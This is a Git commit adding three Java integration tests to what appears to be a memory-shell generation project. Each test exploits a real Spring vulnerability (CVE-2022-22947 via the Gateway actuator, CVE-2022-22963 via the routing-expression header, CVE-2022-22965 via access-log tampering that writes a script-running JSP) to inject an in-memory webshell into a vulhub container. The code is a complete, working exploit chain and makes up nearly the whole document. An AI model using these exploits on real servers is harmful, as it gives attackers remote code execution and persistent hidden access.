test: add spring cve cases #7
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / dubbo (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / geronimo (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled

This commit is contained in:
ReaJason
2026-07-16 15:58:09 +08:00
parent e5292a713b
commit 44f28f43d5
3 changed files with 378 additions and 0 deletions
@@ -0,0 +1,129 @@
package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.MediaType;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
@Testcontainers
@Slf4j
public class CVE202222947Test {
@Container
public static final GenericContainer<?> cve202222947 =
new GenericContainer<>("vulhub/spring-cloud-gateway:3.1.0")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/")
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22947")
void CVE_2022_22947() {
String url = getUrl();
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.SpELSpringGzip;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.SpringWebFlux,
null,
shellType,
shellTool,
Opcodes.V1_8,
shellToolConfig,
packer);
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectBySpringCloudGateway(url, content);
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private void injectBySpringCloudGateway(String url, String expression) {
String routeId = "memshell" + RandomStringUtils.randomAlphabetic(8);
String routeUrl = url + "/actuator/gateway/routes/" + routeId;
try {
String body = """
{
"id": "%s",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{%s}"
}
}],
"uri": "http://example.com"
}
""".formatted(routeId, expression);
post(routeUrl, body, MediaType.parse("application/json"));
post(url + "/actuator/gateway/refresh", "", null);
} finally {
deleteQuietly(routeUrl);
postQuietly(url + "/actuator/gateway/refresh");
}
}
@SneakyThrows
private static void post(String url, String body, MediaType mediaType) {
Request request = new Request.Builder()
.url(url)
.post(RequestBody.create(body, mediaType))
.build();
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
@SneakyThrows
private static void postQuietly(String url) {
Request request = new Request.Builder()
.url(url)
.post(RequestBody.create("", null))
.build();
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
}
}
@SneakyThrows
private static void deleteQuietly(String url) {
Request request = new Request.Builder()
.url(url)
.delete()
.build();
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
}
}
private static String getUrl() {
String host = cve202222947.getHost();
int port = cve202222947.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.MediaType;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
@Testcontainers
@Slf4j
public class CVE202222963Test {
@Container
public static final GenericContainer<?> cve202222963 =
new GenericContainer<>("vulhub/spring-cloud-function:3.2.2")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/uppercase")
.forStatusCodeMatching(code -> code == 200 || code == 405)
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22963")
void CVE_2022_22963() {
String url = getUrl();
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.SpELSpringGzip;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.SpringWebFlux,
null,
shellType,
shellTool,
Opcodes.V1_8,
shellToolConfig,
packer);
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectBySpringCloudFunction(url, content);
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private void injectBySpringCloudFunction(String url, String expression) {
Request request = new Request.Builder()
.url(url + "/functionRouter")
.header("spring.cloud.function.routing-expression", expression)
.post(RequestBody.create("test", MediaType.parse("text/plain")))
.build();
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
private static String getUrl() {
String host = cve202222963.getHost();
int port = cve202222963.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,165 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
/**
* @author ReaJason
* @since 2026/7/16
*/
@Testcontainers
@Slf4j
public class CVE202222965Test {
private static final OkHttpClient CLIENT = new OkHttpClient();
private static final String JSP_PATTERN = "%{c2}i { " +
"StringBuilder script = new StringBuilder(); " +
"String line; " +
"java.io.BufferedReader reader = request.getReader(); " +
"while ((line = reader.readLine()) != null) { script.append(line).append('\\n'); } " +
"javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName(\"js\"); " +
"if (engine == null) { throw new IllegalStateException(\"js engine is null\"); } " +
"Object result = engine.eval(script.toString()); " +
"if (result != null) { out.print(result); } " +
"} %{suffix}i";
@Container
public static final GenericContainer<?> cve202222965 =
new GenericContainer<>("vulhub/spring-webmvc:5.3.17")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/")
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22965")
void CVE_2022_22965() {
String url = getUrl();
String jsEngineJspUrl = writeJsEngineJsp(url);
assertJsEngineJspIsReady(jsEngineJspUrl);
clearAccessLogPattern(url);
String shellType = ShellType.FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.ScriptEngine;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.Tomcat,
null,
shellType,
shellTool,
Opcodes.V11,
shellToolConfig,
packer);
executeScript(jsEngineJspUrl, packer.getInstance().pack(generateResult.toClassPackerConfig()));
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private String writeJsEngineJsp(String url) {
HttpUrl exploitUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", JSP_PATTERN)
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.suffix", ".jsp")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.directory", "webapps/ROOT")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.prefix", "memshellparty")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat", "")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.buffered", "false")
.build();
Request request = new Request.Builder()
.url(exploitUrl)
.header("c2", "<%")
.header("suffix", "%>//")
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
writeJsEngineJspAccessLog(url);
return url + "/memshellparty.jsp";
}
@SneakyThrows
private void writeJsEngineJspAccessLog(String url) {
Request request = new Request.Builder()
.url(url)
.header("c2", "<%")
.header("suffix", "%>//")
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
@SneakyThrows
private void assertJsEngineJspIsReady(String jsEngineJspUrl) {
for (int i = 0; i < 10; i++) {
Request request = new Request.Builder()
.url(jsEngineJspUrl)
.header("c2", "<%")
.header("suffix", "%>//")
.post(RequestBody.create("1 + 1", MediaType.parse("text/plain")))
.build();
try (Response response = CLIENT.newCall(request).execute()) {
if (response.code() == 200 && Objects.requireNonNull(response.body()).string().contains("2")) {
return;
}
}
Thread.sleep(500);
}
}
@SneakyThrows
private void executeScript(String jsEngineJspUrl, String script) {
Request request = new Request.Builder()
.url(jsEngineJspUrl)
.post(RequestBody.create(script, MediaType.parse("text/plain")))
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
assertNotEquals(500, response.code(), response.body().string());
}
}
@SneakyThrows
private void clearAccessLogPattern(String url) {
HttpUrl resetUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", "")
.build();
Request request = new Request.Builder()
.url(resetUrl)
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
private static String getUrl() {
String host = cve202222965.getHost();
int port = cve202222965.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}